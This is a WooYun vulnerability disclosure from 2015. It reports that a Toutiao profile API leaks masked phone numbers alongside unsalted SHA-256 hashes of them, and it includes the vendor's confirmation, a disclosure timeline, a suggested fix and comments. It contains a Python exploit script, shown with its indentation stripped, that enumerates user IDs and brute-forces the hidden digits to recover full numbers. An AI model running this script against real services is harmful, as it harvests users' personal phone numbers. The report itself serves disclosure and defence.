当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0159646

漏洞标题:今日头条某处设计缺陷导致用户手机号信息泄露(附利用脚本)

相关厂商:字节跳动

漏洞作者: 路人甲

提交时间:2015-12-09 15:37

修复时间:2016-01-23 15:16

公开时间:2016-01-23 15:16

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-09: 细节已通知厂商并且等待厂商处理中
2015-12-11: 厂商已经确认,细节仅向厂商公开
2015-12-21: 细节向核心白帽子及相关领域专家公开
2015-12-31: 细节向普通白帽子公开
2016-01-10: 细节向实习白帽子公开
2016-01-23: 细节向公众公开

简要描述:

今日头条某处设计缺陷导致信息泄露

详细说明:

注册一个用户发现自己的id是5xxxxxxxx 是有5亿么= =
1:在浏览今日头条app的时候发现了如下的接口

http://isub.snssdk.com/2/user/profile/v2/?user_id=174&iid=3334171937&device_id=8932146&ac=wifi&channel=app_download&aid=13&app_name=news_article&version_code=502&version_name=5.0.2&device_platform=android&abflag=5&ssmix=a&device_type=MI+2&os_api=16&os_version=4.1.1&uuid=867064013746720&openudid=df490e5c389f6304&manifest_version_code=502&resolution=720*1280&dpi=320


接口返回内容有:

{"message": "success", "data": {"is_followed": false, "is_blocking": 0, "reason_type": 1, "user_id": 1, "description": "\u4e00\u4e2a\u9ad8\u5c1a\u7684\u7801\u519c\uff0c\u4e00\u4e2a\u7eaf\u7cb9\u7684\u7801\u519c\uff0c\u4e00\u4e2a\u6709\u9053\u5fb7\u7684\u7801\u519c\uff0c\u4e00\u4e2a\u8131\u79bb\u4e86\u4f4e\u7ea7\u8da3\u5473\u7684\u7801\u519c\uff0c\u4e00\u4e2a\u6709\u76ca\u4e8e\u4eba\u6c11\u7684\u7801\u519c", "mobile": "185******62", "gender": 1, "verified_agency": "", "name": "\u6668\u9f99leonardo", "verified_content": "", "avatar_url": "http://p1.pstatp.com/medium/2270/3792614991", "followings_count": 292, "pgc_like_count": 21, "entity_like_count": 0, "followers_count": 193, "recommend_reason": "", "is_following": false, "is_blocked": 0, "user_verified": false, "mobile_hash": "aff9a45b3ee3a28bcfec268b06bae53d3917bfb12cf9ae1173208f794bd39832", "screen_name": "\u6668\u9f99leonardo"}}


可以看到里面的内容有个moblie 和mobile_hash的内容 经过测试发现手机注册的用户貌似就会返回如上字段。
2:此处经过一些常见hash的算法的测试发现了 mobilehash使用的是 sha256的方法【测试过程不重复了】
3:这里我们有打码的手机号 然后又hash ,我们可以爆破了
4:漏洞的利用方式,我们可以遍历上面的接口,然后获取手机注册用户的mobile和mobliehash
5:然后我们利用脚本去爆破手机号码,就可以得到大量的手机号了

漏洞证明:

这里我们为了证明问题 以前面200个用户为例子:

2222.png


我们附带的利用脚本:

import hashlib
import urllib2
import re
url = 'http://isub.snssdk.com/2/user/profile/v2/?user_id=%s&iid=3334171937&device_id=8932146&ac=wifi&channel=app_download&aid=13&app_name=news_article&version_code=502&version_name=5.0.2&device_platform=android&abflag=5&ssmix=a&device_type=MI+2&os_api=16&os_version=4.1.1&uuid=867064013746720&openudid=df490e5c389f6304&manifest_version_code=502&resolution=720*1280&dpi=320'
print '[ * ]GET 200 USERS:'
for i in range(200):
url = 'http://isub.snssdk.com/2/user/profile/v2/?user_id=%s&iid=3334171937&device_id=8932146&ac=wifi&channel=app_download&aid=13&app_name=news_article&version_code=502&version_name=5.0.2&device_platform=android&abflag=5&ssmix=a&device_type=MI+2&os_api=16&os_version=4.1.1&uuid=867064013746720&openudid=df490e5c389f6304&manifest_version_code=502&resolution=720*1280&dpi=320'
url = url % str(i)
try:
res = urllib2.urlopen(url).read()
except:
continue
if re.search('\*\*\*\*\*\*',res):
m = re.findall('"mobile": "(.*?)"',res)[0]
mh = re.findall('"mobile_hash": "(.*?)"',res)[0]
print '[ * ]userid:%s' % str(i)
print m,mh
for a in range(10):
for b in range(10):
for c in range(10):
for d in range(10):
for e in range(10):
for f in range(10):
ss = str(a)+str(b)+str(c)+str(d)+str(e)+str(f)
sss = m.replace('******',ss)
if hashlib.sha256(sss).hexdigest() == mh:
print 'phone num is :',sss
break

修复方案:

hash不返回 或则 使用复杂的加密方式

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-12-11 16:06

厂商回复:

确认问题存在

最新状态:

暂无


漏洞评价:

评价

  1. 2015-12-09 16:37 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1278 漏洞数:128 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    这是要刷笔记本的节奏么

  2. 2015-12-09 16:40 | px1624 ( 普通白帽子 | Rank:1072 漏洞数:180 | px1624)

    @子非海绵宝宝 这漏洞为啥能上首页?不就泄漏个手机号么

  3. 2015-12-11 16:08 | Fire ant ( 实习白帽子 | Rank:93 漏洞数:31 | 他们回来了................)

    .......我感觉我也可以上首页